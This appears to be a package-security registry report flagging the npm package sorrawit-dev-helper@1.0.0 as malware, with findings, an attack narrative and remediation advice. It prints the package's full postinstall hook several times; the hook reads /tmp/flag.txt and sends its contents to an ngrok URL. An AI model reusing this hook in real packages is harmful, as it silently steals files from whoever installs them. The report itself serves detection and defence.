registry / Data exfiltration / sorrawit-dev-helper
sorrawit-dev-helper
This report shows the evidence for sorrawit-dev-helper@1.0.0, the only known version.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThe only shipped behavior is an automatic postinstall that reads /tmp/flag.txt and sends it to an attacker-controlled ngrok URL. That is unconsented install-time data theft, not a development helper.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install of this package, which automatically runs the postinstall script.
Impact
Host file contents from /tmp/flag.txt are disclosed to an attacker-controlled endpoint without user action.
Mechanism
Install-time file read and HTTP exfiltration
Attack narrative
Installing sorrawit-dev-helper runs a postinstall script that executes inline Node. That code reads /tmp/flag.txt and requests a package-controlled ngrok-free.app URL with the file contents in the flag query parameter. Errors are caught and ignored so the install completes. The package ships no helper code, only this hook.
AI rationale
The only shipped behavior is an automatic postinstall that reads /tmp/flag.txt and sends it to an attacker-controlled ngrok URL. That is unconsented install-time data theft, not a development helper.
Evidence
package.json/tmp/flag.txt
Network endpoints1
ca37-49-237-83-218.ngrok-free.app
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- Automatic postinstall runs inline Node on install.
- The hook reads /tmp/flag.txt from the host filesystem.
- File contents are sent to a package-controlled ngrok-free.app URL as the flag query parameter.
- Fetch errors are swallowed so npm install still succeeds.
- The published package contains only package.json; claimed main index.js is missing.
Evidence against
Behavioral surface
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "fetch(\"https://ca37-49-237-83-218.ngrok-free.app/?flag=\"+encodeURIComponent(require(\"fs\").readFileSync(\"/tmp/flag.txt\",\"utf8\"))).catch(()=>{})"
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "fetch(\"https://ca37-49-237-83-218.ngrok-free.app/?flag=\"+encodeURIComponent(require(\"fs\").readFileSync(\"/tmp/flag.txt\",\"utf8\"))).catch(()=>{})"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"postinstall": "node -e \"fetch(\\\"https://ca37-49-237-83-218.ngrok-free.app/?flag=\\\"+encodeURIComponent(require(\\\"fs\\\").readFileSync(\\\"/tmp/flag.txt\\\",\\\"utf8\\\"))).catch(()=>{})\""
},
High
Suspicious Lifecycle Evidence
Automatic postinstall runs inline Node on install.
package.jsonView on unpkg · L6Findings
3 Critical5 High1 Medium1 Low
CriticalRed Install Lifecycle Scriptpackage.json
CriticalHardcoded Runtime Data Exfiltrationpackage.json#scripts.postinstall
CriticalCredential Exfiltrationpackage.json#scripts.postinstall
HighInstall Time Lifecycle Scriptspackage.json
HighSemantic Analysis Limitedpackage.json#scripts.postinstall
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencepackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to sorrawit-dev-helper@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing sorrawit-dev-helper@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.